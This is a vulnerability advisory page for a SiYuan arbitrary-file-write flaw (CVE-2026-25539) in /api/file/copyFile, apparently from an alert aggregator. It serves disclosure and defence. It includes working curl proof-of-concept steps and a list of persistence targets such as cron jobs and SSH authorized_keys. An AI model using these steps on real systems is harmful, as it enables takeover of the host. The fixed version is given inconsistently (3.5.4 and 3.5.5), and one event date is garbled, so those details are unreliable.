CVE-2026-25539: SiYuan has Arbitrary File Write via /api/file/copyFile leading to RCE

Published Jan 29, 2026
·
Updated

Summary

The /api/file/copyFile endpoint does not validate the dest parameter, allowing authenticated users to write files to arbitrary locations on the filesystem. This can lead to Remote Code Execution (RCE) by writing to sensitive locations such as cron jobs, SSH authorizedkeys, or shell configuration files.

- Affected Version: 3.5.3 (and likely all prior versions)

Details

- Type: Improper Limitation of a Pathname to a Restricted Directory (CWE-22) - Location: kernel/api/file.go - copyFile function

go // kernel/api/file.go lines 94-139 func copyFile(c gin.Context) { // ... src := arg["src"].(string) src, err := model.GetAssetAbsPath(src) // src is validated // ...

dest := arg["dest"].(string) // dest is NOT validated! if err = filelock.Copy(src, dest); err != nil { // ... } }

The src parameter is properly validated via model.GetAssetAbsPath(), but the dest parameter accepts any absolute path without validation, allowing files to be written outside the workspace directory.

PoC

Step 1: Upload malicious content to workspace

bash curl -X POST "http://target:6806/api/file/putFile" \ -H "Authorization: Token <APITOKEN>" \ -F "path=/data/assets/malicious.sh" \ -F "file=@-;filename=malicious.sh" <<< '#!/bin/sh id > /tmp/pwned.txt hostname >> /tmp/pwned.txt'

Step 2: Copy to arbitrary location (e.g., /tmp)

bash curl -X POST "http://target:6806/api/file/copyFile" \ -H "Authorization: Token <APITOKEN>" \ -H "Content-Type: application/json" \ -d '{"src": "assets/malicious.sh", "dest": "/tmp/malicious.sh"}'

Response: {"code":0,"msg":"","data":null}

Step 3: Verify file was written outside workspace

bash cat /tmp/malicious.sh Output: #!/bin/sh id > /tmp/pwned.txt hostname >> /tmp/pwned.txt

Attack Scenarios

| Target Path | Impact | |-------------|--------| | /etc/cron.d/backdoor | Scheduled command execution (RCE) | | ~/.ssh/authorizedkeys | Persistent SSH access | | ~/.bashrc | Command execution on user login | | /etc/ld.so.preload | Shared library injection |

RCE Demonstration

RCE was successfully demonstrated by writing a script and executing it:

bash Write script to /tmp curl -X POST "http://target:6806/api/file/copyFile" \ -H "Authorization: Token <APITOKEN>" \ -d '{"src": "assets/malicious.sh", "dest": "/tmp/malicious.sh"}'

Execute (simulating cron or login trigger) sh /tmp/malicious.sh

Result cat /tmp/pwned.txt uid=0(root) gid=0(root) groups=0(root)...

Impact

An authenticated attacker (with API Token) can: 1. Achieve Remote Code Execution with the privileges of the SiYuan process 2. Establish persistent backdoor access via SSH keys 3. Compromise the entire host system 4. Access sensitive data on the same network (lateral movement)

Suggested Fix

Add path validation to ensure dest is within the workspace directory:

go func copyFile(c gin.Context) { // ... dest := arg["dest"].(string)

// Add validation if !util.IsSubPath(util.WorkspaceDir, dest) { ret.Code = -1 ret.Msg = "dest path must be within workspace" return }

if err = filelock.Copy(src, dest); err != nil { // ... } }

Solution

d7f790755edf8c78d2b4176171e5a0cdcd720feb

Other sources

SiYuan is a personal knowledge management system. Prior to version 3.5.5, the /api/file/copyFile endpoint does not validate the dest parameter, allowing authenticated users to write files to arbitrary locations on the filesystem. This can lead to Remote Code Execution (RCE) by writing to sensitive locations such as cron jobs, SSH authorizedkeys, or shell configuration files. This issue has been patched in version 3.5.5.

MITRE

Affected Software

2 affected components
go/github.com/siyuan-note/siyuan/kernel<=0.0.0-20260126094835-d5d10dd41b0c
b3log SiYuan<=3.5.3

Event History

Jan 29, 2026
Advisory Published
via GitHub·03:15 PM
Data Sourced
via GitHub·03:15 PM
DescriptionSeverityWeaknessAffected Software
Feb 4, 2026
CVE Published
via MITRE·09:39 PM
Data Sourced
via MITRE·09:39 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:16 PM
RemedyDescriptionSeverityWeaknessAffected Software
Jun 19, 58090
Event
via FIRST·06:48 PM

Frequently Asked Questions

1

What is the severity of CVE-2026-25539?

CVE-2026-25539 is classified as a critical vulnerability due to its potential to allow remote code execution.

2

How do I fix CVE-2026-25539?

To mitigate CVE-2026-25539, you should upgrade SiYuan to version 3.5.4 or later, or apply relevant patches that address the vulnerability.

3

What impact does CVE-2026-25539 have on my system?

CVE-2026-25539 allows authenticated users to write files to arbitrary locations, potentially leading to complete system compromise.

4

Who is affected by CVE-2026-25539?

CVE-2026-25539 affects SiYuan versions up to 3.5.3 and specific Go package versions, allowing arbitrary file write vulnerabilities.

5

How can CVE-2026-25539 be exploited?

An attacker can exploit CVE-2026-25539 by sending crafted requests to the /api/file/copyFile endpoint, manipulating the dest parameter to write malicious files.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203